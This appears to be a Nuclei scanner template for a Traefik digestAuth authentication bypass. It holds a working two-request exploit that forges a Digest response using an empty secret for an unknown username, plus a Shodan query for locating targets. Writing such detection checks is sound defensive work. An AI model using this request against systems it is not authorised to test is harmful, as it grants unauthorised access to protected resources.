Traefik < 2.11.55 / 3.0.0 - 3.7.10 - Digest Authentication Bypass

id: CVE-2026-85595

info:
  name: Traefik < 2.11.55 / 3.0.0 - 3.7.10 - Digest Authentication Bypass
  author: Boreas37
  severity: critical
  description: |
    Traefik < 2.11.55 contains an authentication bypass caused by digestAuth middleware returning empty secret for unknown usernames, letting attackers bypass authentication on digestAuth-protected routes without valid credentials.
  impact: |
    Attackers can bypass authentication on protected routes, gaining unauthorized access to restricted resources.
  remediation: |
    Update to version 2.11.55 or later.
  reference:
    - https://github.com/traefik/traefik/security/advisories/GHSA-5w68-77r2-r64c
    - https://github.com/containous/go-http-auth/commit/b975dcaa8c48
    - https://github.com/traefik/traefik/commit/2116686308a2
    - https://nvd.nist.gov/vuln/detail/CVE-2026-85595
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-85595
    cwe-id: CWE-287
  metadata:
    max-request: 2
    verified: true
    vendor: traefik
    product: traefik
    shodan-query: http.title:"Traefik"
  tags: cve,cve2026,traefik,digest,auth-bypass

flow: http(1) && http(2)

variables:
  username: "traefik-poc"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 401'
          - 'contains(tolower(header_1), "digest realm=")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: realm
        part: header
        group: 1
        regex:
          - 'realm="([^"]+)"'
        internal: true

      - type: regex
        name: nonce
        part: header
        group: 1
        regex:
          - 'nonce="([^"]+)"'
        internal: true

      - type: regex
        name: opaque
        part: header
        group: 1
        regex:
          - 'opaque="([^"]+)"'
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Authorization: Digest username="{{username}}", realm="{{realm}}", nonce="{{nonce}}", uri="{{path}}", qop=auth, nc=00000001, cnonce="0a4f113b", response="{{md5(concat(":", nonce, ":00000001:0a4f113b:auth:", md5(concat("GET:", path))))}}", opaque="{{opaque}}", algorithm=MD5

    matchers:
      - type: dsl
        condition: and
        dsl:
          - 'status_code == 200'
          - '!contains(tolower(header), "www-authenticate")'
# digest: 4b0a00483046022100a34e4bc5edb46980dc0a607282beb1ce2cec751cb84ef458891e64dfd9224d07022100a5d7cb04bc87babdc0e71fcce8f8f580ab00dd9fbacfd31422b52465a2d00847:922c64590222798bb761d5b6d8e72950